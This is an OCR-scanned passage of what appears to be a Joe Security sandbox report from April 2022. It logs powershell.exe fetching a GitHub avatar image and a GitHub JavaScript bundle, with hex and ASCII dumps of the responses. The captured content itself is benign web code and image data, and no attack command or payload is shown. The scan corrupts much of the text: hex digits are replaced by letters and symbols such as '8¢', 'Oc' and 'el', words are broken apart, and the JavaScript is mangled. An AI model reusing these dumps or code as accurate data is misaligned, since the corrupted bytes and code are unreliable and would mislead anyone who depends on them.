a2 9d 73 Oc a8 8e d4 7c 07 95 2e 4f 47 98 9c 19 el 2b 0f 07 79 c4 64 db 22 80 eb ce 82 89 73 a3 60 52 4e 34 8¢ 20 bl
dd db 65 ad c6 4d 12 b5 12 4f 1f 99 39 34 d5 75 1a 3d 7c 49 fe 1d 82 f9 90 01 63 fe 8¢ 68 d7 33 7a 54 4b be 1f 36 94 fb
02 34 84 ce 9a 26 5c b6 27 cc 3b f9 39 9b 94 fc 86 dO 68 5f

Data Ascii: q|+Rk<L+k=0"])2&THu9~8iLjB yGd*SCYMV+'P(oDILm3EcIl{=U 'XBG@Is|.0G+yd"s'RN4 eMO94u=|Ich3
ZTK64&\';9h_

Destination IP Destination Process
Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /home-assistant?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1157

2022-04-20 13:07:37 UTC 1158

2022-04-20 13:07:37 UTC 1160

2022-04-20 13:07:37 UTC 1161

Session ID Source IP
22 192.168.2.4
. kBytes
Timestam,
! P transferred

2022-04-20 13:07:37 UTC 1162

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49777

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 3417

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "42a937c04c20dfh87dd7308e118b76e3e931de52d6a34a671ce585804009498b"
Last-Modified: Tue, 18 Aug 2015 04:29:29 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: 1696:453B:CF4059:E19503:624253BA
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6931-MXP

X-Cache: HIT

X-Cache-Hits: 11

X-Timer: S1650460057.107026,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 74f2754f2fb40bc88ef2375fe3bd93da98ech81f
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 1946078

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
0d 20 49 44 41 54 78 9c e4 5b 79 6¢ 1c d5 fd ff bc 37 b3 b3 be d7 6b 7 24 60 42 ec fc 9c 84 d8 b1 43 02 f9 85 df af f4 06
fe 80 9e 04 d1 23 05 55 15 6a 8b 9a 22 44 8a 03 4d e2 24 4e 14 48 b9 69 51 25 a4 16 28 47 8b 54 51 8a fa 47 2f 04 84
a3 893089 73 91 b4 09 21 ce d1 24 8e ed d8 59 ef ec cc 7b af 7a 6f 66 76 67 f6 f2 ae 2f 1a f2 95 9e 67 3d b3 f3 de f7 fb
9 de 6f 66 75 21 04 2e 64 a2 1f 37 03 1f 37 5d f0 00 e8 e9 27 e2 cc 39 ba 8e 41 08 50 22 8f 13 cd d8 18 91 74 70 13 00
27 ae 4c a5 5a f0 Ob 01 00 a4 fO 2b de 8b 83 09 31 b5 54 d7 37 99 b6 7d 23 13 22 72 3e 03 40 09 39 1b Oe €9 7f 34 2d bb
8d 52 7a ec 67 2d 61 54 f8 a4 ce b0 00 9b f1 69 02 e2 ed

Data Ascii: PNGIHDR@@iq IDATX[yl7k$’ BC#U]"DM$NHIQ%(GTQG/0s!$Y{zofvg/g=oful.d77]'9AP"tp'LZ+1T7}#"r>@94-
Rzg-aTi

Data Raw: ec 3e 6b a7 be e3 7e cd fb 7f 77 1f ¢3 0f b7 c7 f0 8b 03 a6 d3 45 22 75 5d 06 c7 b6 1d 43 f8 f9 01 13 2c ad 17
d0 09 b0 ee aa 29 68 a9 09 81 33 1le e8 15 92 f5 40 c1 ed 70 fa 2e 0a 77 4d 8a 71 84 c1 d1 b1 a0 04 0d 15 c5 25 8f bf fd
9b el e6 99 06 6e 9d 65 €0 4f c7 b2 a7 38 69 29 8f 7e 60 e2 6 d9 06 fe 39 cO bl b3 97 05 54 2 c4 81 04 3e 3f 4d c7 80
2d f0 4e Of cb b8 5f 56 8c ed 8b 6a 94 eb a8 4d 15 59 18 b9 3b 4b de 9e 42 41 3b 42 €9 68 28 23 12 02 25 94 63 €3 82
30 ea cb 49 fe 94 24 35 ¢7 05 22 06 c1 0b 87 2d 58 9c 63 €9 24 8a df 1c 4a €0 99 43 09 7c 7a 8a e6 33 4f el 2e e3 dc 53
5f 49 f1 ec 21 Ob fb 07 18 fa ac 94 16 a4 02 fa 2d 81 97 bb 2d 74 9e 61 98 1a 46 d6 75 a5 25 ac 5d 18 41 4b 94 b8 db 6b
7e 6b cb 1le 44 86 8f 01 02 28 a1 02 1b 9b c3 2a cf 17 42

Data Ascii: >k~wE"u]C,)h3@p.wMq%neO8i)~"9T>?M-N_VjMY;KBA;Bh(#%c0I$5"-Xc$JIC|z30.S_I!--taFu%]AKk~KkD(*B

Data Raw: 37 cd a0 58 52 4b f0 fc 11 59 0a 07 ef 9d 5e 4a 70 49 19 51 16 73 60 50 €0 44 3c 75 ad eb 2c c7 d1 21 60 88
01 cb eb 28 5a aa f3 5b c8 48 5¢ 60 54 41 30 27 33 02 2a bd 5d 3b 95 62 6b Of c3 9e 01 87 25 19 00 8f Oe 09 3¢ 79 dO 89
09 7e da d6 2b b0 71 1f 43 43 45 4a 48 d9 83 48 df 3f 61 0a 74 7 05 5a c6 el 05 b6 31 cf 02 70 fd ea ce 06 8a 17 8f 70
ac 68 a0 2a 28 7a 24 a3 ff ea 3d 1c eb f7 31 2c a9 71 de 09 fb c7 19 81 8e 7d Oc f7 34 52 5¢ 5d 43 93 1a 94 6e 4 d8 41
ae 9a al 2f 4c ce dd 8e 3b 67 47 06 ce f8 58 00 80 05 11 82 96 88 f3 24 cf df 31 ca 74 d8 3e 97 62 ed 3e 8e 5f 1d 76 1a
2a99 25 da 1a 1d a0 6¢ 9f 90 51 03 58 33 27 bd 98 c9 42 c4 79 32 ec 6¢ fb 15 07 44 91 00 b8 d5 20 21 ea 71 f4 e1 73 8e
76 52 54 f8 b3 f9 3b 67 01 1b 3f €0 d8 3f 08 fc a8 e 60

Data Ascii: 7XRKYAJpIQs PD<u,!(Z[H\ TA0'3*];bk%<y~+(CCEJHH?atZ1pph*(z$=1,q}4R\|CNA/L;gGX$1t>b>_v*%
QX3'By2ID IgsvRT;g??"

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/3706-a9e5e1421754.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1163

2022-04-20 13:07:37 UTC 1168

2022-04-20 13:07:37 UTC 1170

2022-04-20 13:07:37 UTC 1171

2022-04-20 13:07:37 UTC 1172

2022-04-20 13:07:37 UTC 1174

2022-04-20 13:07:37 UTC 1175

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 72073

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Fri, 15 Apr 2022 12:58:14 GMT

ETag: "49ac2db18138fb2ad79d03bc55eafd5f"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 432244

X-Served-By: cache-iad-kcgs7200022-IAD, cache-mxp6946-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: d7b245a0859d71fd873falf3f4d359a7842caef3

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 64 74 3d 4f 62 6a 65 63 74 2e 64 65
66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 69 3d 28 4a 2c 4b 29 3d 3e 64 74 28 4a 2c 22 6e 61 6d 65 22 2¢ 7b
76 61 6¢ 75 65 3a 4b 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 6
562 70 61 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29
2e 70 75 73 68 28 5b 5b 33 37 30 36 5d 2c 7b 35 37 32 36 30 3a 28 4a 2c 4b 2c 55 29 3d 3e 7b 55 2e 64 28 4b 2c 7b 50
3a28 29 3d 3e 54 7d 29 3b 63 6¢ 61 73 73 20 54 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2¢ 64 29 7b 74 68 69 73 2e
66 69 6¢ 65 3d 65 2¢ 74 68 69 73 2e 64 69 72 65 63 74 6f 72 79 3d 64 2c

Data Ascii: "use strict";(()=>{var dt=Object.defineProperty;var i=(J,K)=>dt(J,"name" {value:K,configurable:!0});(global T
his.webpackChunk=globalThis.webpackChunk||[]).push([[3706],{57260:(J,K,U)=>{U.d(K,{P:()=>T});class T{construct
or(e,d){this.file=e,this.directory=d,

Data Raw: 65 3d 3d 3d 22 73 61 76 69 6e 67 22 7d 69 73 53 61 76 65 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e
737461 74 65 3d 3d 3d 22 73 61 76 65 64 22 7d 7d 69 28 54 2¢c 22 41 74 74 61 63 68 6d 65 6e 74 22 29 3b 66 75 6e 63
74 69 6f 6e 20 78 28 74 2¢ 65 29 7h 72 65 74 75 72 6e 20 65 26 26 56 28 74 29 3f 46 28 22 22 2¢ 57 28 74 29 29 3a 50 7
2 6f 6d 69 73 65 2e 72 65 73 6f 6¢ 76 65 28 4e 28 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 66 69 6¢ 65 73 7c 7c 5b 5d 29
29 2e 6d 61 70 28 64 3d 3e 6e 65 77 20 54 28 64 29 29 29 7d 69 28 78 2c 22 74 72 61 6e 73 66 65 72 72 65 64 46 69 6¢C
65 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 24 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6e 61 6d 65 2e 73 74 61 72 74 73
57 69 74 68 28 22 2e 22 29 7d 69 28 24 2c 22 68 69 64 64 65 6e 22 29 3b

Data Ascii: e==="saving"}lisSaved(){return this.state==="saved"}i(T,"Attachment");function x(t,e){return e&&V(t)?F("",W(
t)):Promise.resolve(N(Array.from(t.files||[])).map(d=>new T(d)))}i(x, transferredFiles");function $(t){return t.name.sta
rtsWith(".")}i($,"hidden");

Data Raw: 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 64 72 61 67 6¢ 65 61 76 65 22 2c 61 29 2c
74 6869 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 64 72 6f 70 22 2¢ 75 29 2¢ 74 68 69 73
2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 73 74 65 22 2c 50 29 2c 74 68 69 73 2e 72 65
6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2¢ 68 29 7d 67 65 74 20 64 69 72 65 63
74 6f 72792829 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 72 65 63 74
6f 72 7922 29 7d 73 65 74 20 64 69 72 65 63 74 6f 72 79 28 65 29 7b 65 3f 74 68 69 73 2e 73 65 74 41 74 74 72 69 62
7574 6528 22 64 69 72 65 63 74 6f 72 79 22 2¢ 22 22 29 3a 74 68 69 73

Data Ascii: .removeEventListener("dragleave”,a),this.removeEventListener("drop”,u),this.removeEventListener("paste",P),t
his.removeEventListener(“change",h)}get directory(){return this.hasAttribute("directory“)}set directory(e){e?this.setAtt
ribute("directory”,""):this

Data Raw: 66 28 65 2e 6b 69 6e 64 3d 3d 3d 22 66 69 6¢ 65 22 26 26 76 2e 74 65 73 74 28 65 2e 74 79 70 65 29 29 72
65 74 75 72 6e 20 65 2e 67 65 74 41 73 46 69 6¢ 65 28 29 3b 72 65 74 75 72 6e 20 6e 75 6¢ 6¢ 7d 69 28 53 2c 22 70 61
73 74 65 64 46 69 6¢ 65 22 29 3b 66 75 6 63 74 69 6f 6e 20 50 28 74 29 7h 69 66 28 21 74 2e 63 6¢ 69 70 62 6f 61 72 6
444 61 7461 7c 7c 21 74 2e 63 6¢ 69 70 62 6f 61 72 64 44 61 74 61 2e 69 74 65 6d 73 29 72 65 74 75 72 6e 3b 63 6f 6e
7374 20 65 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20
772929726574 7572 6e 3b 63 6f 6e 73 74 20 64 3d 53 28 74 2e 63 6¢ 69 70 62 6f 61 72 64 44 61 74 61 2e 69 74 65
6d 73 29 3b 69 66 28 21 64 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 6b

Data Ascii: f(e.kind==="file"&&v.test(e.type))return e.getAsFile();return null}i(S,"pastedFile");function P(t){if(!t.cli
pboardDatal|!t.clipboardData.items)return;const e=t.currentTarget;if(!(e instanceof w))return;const d=S(t.clipboardData.
items);if(!d)return;const k

Data Raw: 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6¢ 29 7b 63 6f 6e 73 74 20 6e 3d 6¢
2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 21 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 72 65 74
75 72 6e 3b 63 6f 6e 73 74 7b 62 6f 78 3a 73 2c 69 6d 61 67 65 3a 67 7d 3d 63 2e 67 65 74 28 6e 29 7c 7c 7b 7d 3b 69
66 28 21 73 7c 7¢ 21 67 29 72 65 74 75 72 6e 3b 6¢ 65 74 20 6d 3d 30 2¢ 79 3d 30 3b 69 66 28 6¢ 20 69 6e 73 74 61 6e
63 65 6f 66 20 4b 65 79 62 6f 61 72 64 45 76 65 6€ 74 29 6¢ 2e 6b 65 79 3d 3d 3d 22 41 72 72 6f 77 55 70 22 3f 79 3d 2d
31 3a 6c 2e 6b 65 79 3d 3d 3d 22 41 72 72 6f 77 44 6f 77 6e 22 3f 79 3d 31 3a 6¢ 2e 6b 65 79 3d 3d 3d 22 41 72 72 6f 77
4c 65 66 74 22 3f 6d 3d 2d 31 3a 6¢ 2e 6b 65 79 3d 3d 3d 22 41 72

Data Ascii: =new WeakMap;function a(l){const n=l.currentTarget;if(!(n instanceof e))return;const{box:s,image:g}=c.get(n)||
{}if('s||'g)return;let m=0,y=0;if(l instanceof KeyboardEvent)l.key==="ArrowUp"?y=-1:l.key==="ArrowDown"?y=1:l.key==="
ArrowLeft"?m=-1:.key==="Ar

Data Raw: 73 74 61 6e 63 65 6f 66 20 4d 6f 75 73 65 45 76 65 6e 74 29 7b 63 6f 6e 73 74 20 42 3d 5f 2e 67 65 74 28 73
29 3b 69 66 28 21 42 29 72 65 74 75 72 6e 3b 79 3d 6¢ 2e 70 61 67 65 58 2d 42 2e 73 74 61 72 74 58 2d 6d 2e 6¢ 65 66
74 2d 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 41 3d 6¢ 2e 70 61 67 65 59 2d 42 2e 73 74 61 72 74 59
2d 6d 2e 74 6f 70 2d 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 65 6¢ 73 65 20 69 66 28 6¢ 20 69 6e 73 74
61 6e 63 65 6f 66 20 54 6f 75 63 68 45 76 65 6e 74 29 7b 63 6f 6e 73 74 20 42 3d 5f 2e 67 65 74 28 73 29 3b 69 66 28 21
422972 65 74 75 72 6e 3b 79 3d 6¢ 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2d 42 2e
73 74 61 72 74 58 2d 6d 2e 6¢ 65 66 74 2d 77 69 6e 64 6f 77 2e 70

Data Ascii: stanceof MouseEvent){const B=_.get(s);if(!B)return;y=Il.pageX-B.startX-m.left-window.pageXOffset,A=l.pageY-
B.startY-m.top-window.pageY Offset}else if(| instanceof TouchEvent){const B=_.get(s);if(!B)return;y=l.changedTouc
hes[0].pageX-B.startX-m.left-window.p
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Data

Data Raw: 67 68 74 2d 79 2e 73 74 61 72 74 59 3a 79 2e 73 74 61 72 74 59 2c 6e 3e 30 3f 43 2e 77 69 64 74 68 2d 79 2e
73746172 74583a792e 737461727458 29 3b 63 6f6e 73 74 20 42 3d 67 3f 4d 61 74 68 2e 72 6f 75 6e 64 28 4d
61 74 68 2e 6d 61 78 28 30 2c 6e 3e 30 3f 79 2e 73 74 61 72 74 58 3a 79 2e 73 74 61 72 74 58 2d 6d 29 29 3a 41 2e 6f
66 66 73 65 74 4c 65 66 74 2c 49 3d 67 3f 4d 61 74 68 2e 72 6f 75 6e 64 28 4d 61 74 68 2e 6d 61 78 28 30 2c 73 3e 30 3f
792e 737461727459 3a79 2e 737461727459 2d 6d 29 29 3a 41 2e 6f 66 66 73 65 74 54 6f 70 3b 41 2 7374 79 6
€ 65 2e 6¢ 65 66 74 3d 60 24 7b 42 7d 70 78 60 2c 41 2e 73 74 79 6¢ 65 2e 74 6f 70 3d 60 24 7b 49 7d 70 78 60 2c 41 2e
73 74 79 6¢ 65 2e 77 69 64 74 68 3d 60 24 7b 6d 7d 70 78 60 2c 41

Data Ascii: ght-y.startY:y.startY,n>0?C.width-y.startX:y.startX);const B=g?Math.round(Math.max(0,n>0?y.startX:y.startX-m
)):A.offsetLeft,I=g?Math.round(Math.max(0,s>0?y.startY:y.startY-m)):A.offsetTop;A.style.left="${B}px",A.style.top="${I}p

X", A.style.width="${m}px",A

Data Raw: 65 73 77 29 20 7b 20 63 75 72 73 6f 72 3a 20 6e 65 73 77 2d 72 65 73 69 7a 65 3b 20 7d Oa 20 20 3a 68 6f 73
7428 2e 6e 77 73 6529 20 7b 20 63 75 72 73 6f 72 3a 20 6e 77 73 65 2d 72 65 73 69 7a 65 3b 20 7d Oa 20 20 3a 68 6f
73 7428 2e 6e 65 73 77 29 20 2e 63 72 6f 70 2d 62 6f 78 2c 20 3a 68 6f 73 74 28 2e 6e 77 73 65 29 20 2e 63 72 6f 70 2d
62 6f 78 20 7b 20 63 75 72 73 6f 72 3a 20 69 6e 68 65 72 69 74 3b 20 7d Oa 20 20 3a 68 6f 73 74 28 5b 6¢ 6f 61 64 65 64
5d 29 20 2e 63 72 6f 70 2d 69 6d 61 67 65 20 7b 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b 20 7d Oa 20 20 3a 68 6f
73 74 28 5b 6¢ 6f 61 64 65 64 5d 29 20 3a 3a 73 6¢ 6f 74 74 65 64 28 5b 64 61 74 61 2d 6¢ 6f 61 64 69 6e 67 2d 73 6¢ 6f
74 5d 29 2¢ 20 2e 63 72 6f 70 2d 69 6d 61 67 65 20 7b 20 64

Data Ascii: esw) { cursor: nesw-resize; } :host(.nwse) { cursor: nwse-resize; } :host(.nesw) .crop-box, :host(.nwse) .crop-
box { cursor: inherit; } :host([loaded]) .crop-image { display: block; } :host([loaded]) ::slotted([data-loading-slot]), .crop-
image {d

Data Raw: 6e 77 73 65 2d 72 65 73 69 7a 65 3b 20 7d Oa 20 20 2e 73 65 20 7b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 72 69
67 68 74 3a 20 30 3b 20 63 75 72 73 6f 72 3a 20 6e 77 73 65 2d 72 65 73 69 7a 65 3b 20 7d 0a 20 20 2e 73 77 20 7b 20
62 6f 74 74 6f 6d 3a 20 30 3b 20 6¢ 65 66 74 3a 20 30 3b 20 63 75 72 73 6f 72 3a 20 6e 65 73 77 2d 72 65 73 69 7a 65 3b
20 7d 0a 3c 2f 73 74 79 6¢ 65 3e Oa 3c 73 6¢ 6f 74 3e 3c 2f 73 6¢ 6f 74 3e Oa 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 63 72
6f 70 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 3c 69 6d 67 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 63 6¢ 61 73 73 3d
22 63 72 6f 70 2d 69 6d 61 67 65 22 20 61 6¢ 74 3d 22 22 3e Oa 20 20 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 63 72 6f 70 2
d 63 6f 6e 74 61 69 6e 65 72 22 3e Oa 20 20 20 20 3c 64 69 76 20

Data Ascii: nwse-resize; } .se { bottom: 0; right: O; cursor: nwse-resize; } .sw { bottom: 0; left: O; cursor: nesw-resize; }</s
tyle><slot></slot><div class="crop-wrapper"> <img width="100%" class="crop-image" alt=""> <div class="crop-c
ontainer">  <div

Data Raw: 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6¢ 6¢ 62 61 63 6b 28 6€ 2Cc 73 2¢ 67 29 7b 63 6f 6e 73
74 7b 69 6d 61 67 65 3a 6d 7d 3d 63 2e 67 65 74 28 74 68 69 73 29 7c 7c 7b 7d 3b 6e 3d 3d 3d 22 73 72 63 22 26 26 28
74 68 69 73 2e 6¢ 6f 61 64 65 64 3d 21 31 2c 6d 26 26 28 6d 2e 73 72 63 3d 67 29 29 7d 7d 69 28 65 2c 22 49 6d 61 67
65 43 72 6f 70 45 6¢ 65 6d 65 6e 74 22 29 3b 63 6f 6e 73 74 20 64 3d 6e 75 6¢ 6¢ 3b 77 69 6e 64 6f 77 2e 63 75 73 74 6f
6d 45 6¢ 65 6d 65 6e 74 73 2e 67 65 74 28 22 69 6d 61 67 65 2d 63 72 6f 70 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 49 6d 6
167 65 43 72 6f 70 45 6¢ 65 6d 65 6e 74 3d 65 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6€ 74 73 2e 64
65 66 69 6e 65 28 22 69 6d 61 67 65 2d 63 72 6f 70 22 2c 65 29 29

Data Ascii: attributeChangedCallback(n,s,g){const{image:m}=c.get(this)||{};n==="src"&&(this.loaded=!1,m&&(m.sr
c=0))}}i(e,"ImageCropElement");const d=null;window.customElements.get("image-crop")||(window.ImageCropElement=
e,window.customElements.define("image-crop”,e))

Data Raw: 2¢ 6d 2e 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 2c 6d 2e 62 6f 72 64 65 72 52 69 67 68 74 57 69 64 74
68 2c 6d 2e 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 5d 2e 6d 61 70 28 49 3d 3e 70 61 72 73 65 49 6e 74 28
492c 313029 7c 7c 3029 3b 72 65 74 75 72 6e 7b 74 6f 70 3a 67 2e 74 6f 70 2b 79 2c 6¢ 65 66 74 3a 67 2e 6¢ 65 66
742b 41 2c 77 69 64 74 68 3a 67 2e 77 69 64 74 68 2d 43 2d 41 2¢ 68 65 69 67 68 74 3a 4d 61 74 68 2e 6d 61 78 28 67
2e 68 65 69 67 68 74 2d 79 2d 42 2¢ 73 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3f 77 69 6e 64 6f 77 2e 69 6e 6e
65 72 48 65 69 67 68 74 3a 2d 31 2f 30 29 7d 7d 69 28 72 74 2c 22 67 65 74 43 6¢ 69 70 70 69 6e 67 52 65 63 74 22 29
3b 63 6f 6e 73 74 20 6f 74 3d 7b 73 69 64 65 3a 22 6f 75 74 73 69 64

Data Ascii: ,m.borderLeftWidth,m.borderRightWidth, m.borderBottomWidth]. map(I=>parselnt(l,10)||0);return{top:g.
top+y,left:g.left+A, width:g.width-C-A, height:Math.max(g.height-y-B,s===document.body?window.innerHeight:-1/0)}}i(rt,"get
ClippingRect");const ot={side:"outsid

Data Raw: 74 2e 61 73 73 69 67 6e 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 59 29 2c 7b 61 6e 63 68 6f 72
53 69 64 65 3a 75 74 7d 29 7d 69 28 62 2c 22 70 75 72 65 43 61 6¢ 63 75 6¢ 61 74 65 41 6e 63 68 6f 72 65 64 50 6f 73
69 74 69 6f 6e 22 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 6¢ 2¢ 6e 2¢ 73 2¢ 67 2¢ 6d 2¢ 79 29 7b 63 6f 6e 73 74 20 41 3d
6e 2e 6¢ 65 66 74 2b 6e 2e 77 69 64 74 68 2c 43 3d 6e 2e 74 6f 70 2b 6e 2e 68 65 69 67 68 74 3b 6¢ 65 74 20 42 3d 2d
31 2c 49 3d 2d 31 3b 72 65 74 75 72 6e 20 73 3d 3d 3d 22 6f 75 74 73 69 64 65 2d 74 6f 70 22 3f 42 3d 6e 2e 74 6f 70 2d
6d 2d 6¢ 2e 68 65 69 67 68 74 3a 73 3d 3d 3d 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 3f 42 3d 43 2b 6d 3a 73 3d
3d 3d 22 6f 75 74 73 69 64 65 2d 6¢ 65 66 74 22 3f 49 3d 6e 2e

Data Ascii: t.assign(Object.assign({},Y),{anchorSide:ut})}i(b,"pureCalculateAnchoredPosition");function p(l,n,s,g,m,y){const
A=n.left+n.width,C=n.top+n.height;let B=-1,I=-1;return s==="outside-top"?B=n.top-m-I.height:s==="outside-bottom"?B=
C+m:s==="outside-left"?I=n.

Data Raw: 74 61 72 74 22 3f 42 3d 6e 2e 74 6f 70 2b 79 3a 67 3d 3d 3d 22 63 65 6e 74 65 72 22 3f 42 3d 6e 2e 74 6f 70
2d 28 6¢ 2e 68 65 69 67 68 74 2d 6e 2e 68 65 69 67 68 74 29 2f 32 2b 79 3a 42 3d 43 2d 6¢ 2e 68 65 69 67 68 74 2d 79
29 2c 73 3d 3d 3d 22 69 6e 73 69 64 65 2d 74 6f 70 22 3f 42 3d 6e 2e 74 6f 70 2b 6d 3a 73 3d 3d 3d 22 69 6e 73 69 64
65 2d 62 6f 74 74 6f 6d 22 3f 42 3d 43 2d 6d 2d 6¢ 2e 68 65 69 67 68 74 3a 73 3d 3d 3d 22 69 6e 73 69 64 65 2d 6¢ 65 6
6 74 22 3f 49 3d 6e 2e 6¢ 65 66 74 2b 6d 3a 73 3d 3d 3d 22 69 6e 73 69 64 65 2d 72 69 67 68 74 22 3f 49 3d 41 2d 6d 2d
6C 2e 77 69 64 74 68 3a 73 3d 3d 3d 22 69 6e 73 69 64 65 2d 63 65 6e 74 65 72 22 26 26 28 49 3d 28 41 2b 6e 2e 6¢ 65
66 74 29 2f 32 2d 6¢ 2e 77 69 64 74 68 2f 32 2b 6d 29 2c 73 3d 3d 3d

Data Ascii: tart"?B=n.top+y:g==="center"?B=n.top-(l.height-n.height)/2+y:B=C-|.height-y),s==="inside-top"?B=n.
top+m:s==="inside-bottom"?B=C-m-I.height:s==="inside-left"?|=n.left+m:s==="inside-right"?I=A-m-l.width:s==="inside-
center'&&(I=(A+n.left)/2-1.width/2+m),s===

Data Raw: 22 3f 67 2e 63 61 6¢ 6¢ 28 6¢ 29 3a 67 3f 67 2e 76 61 6¢ 75 65 3a 6e 2e 67 65 74 28 6¢ 29 7d 2c 65 74 2c 69
74 2c 72 2c 66 2c 45 2c 4c 2c¢ 44 3b 63 6f 6e 73 74 20 52 3d 22 74 6f 6f 6¢ 74 69 70 2d 6f 70 65 6e 22 2c 58 3d 5b 22 74
6f 6f 6¢ 74 69 70 2d 6e 22 2c 22 74 6f 6f 6¢ 74 69 70 2d 73 22 2c 22 74 6f 6f 6¢ 74 69 70 2d 65 22 2c 22 74 6f 6f 6¢ 74 69
70 2d 77 22 2c 22 74 6f 6f 6¢ 74 69 70 2d 6e 65 22 2c 22 74 6f 6f 6¢ 74 69 70 2d 73 65 22 2¢ 22 74 6f 6f 6¢ 74 69 70 2d
6e 77 22 2c 22 74 6f 6f 6¢ 74 69 70 2d 73 77 22 5d 3b 63 6¢ 61 73 73 20 7a 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45
6¢ 65 6d 65 6e 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 65 74 2e 61 64 64 28 74 68 69
73292c 69 74 2e 73 65 74 28 74 68 69 73 2c 76 6f 69 64 20

Data Ascii: "?g.call(l):g?g.value:n.get(l)},et,it,r.f,E,L,D;const R="tooltip-open",X=["tooltip-n","tooltip-s","tooltip-e","tooltip-
w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw'"];class z extends HTMLElement{constructor(){super();et.add(this),
it.set(this,void
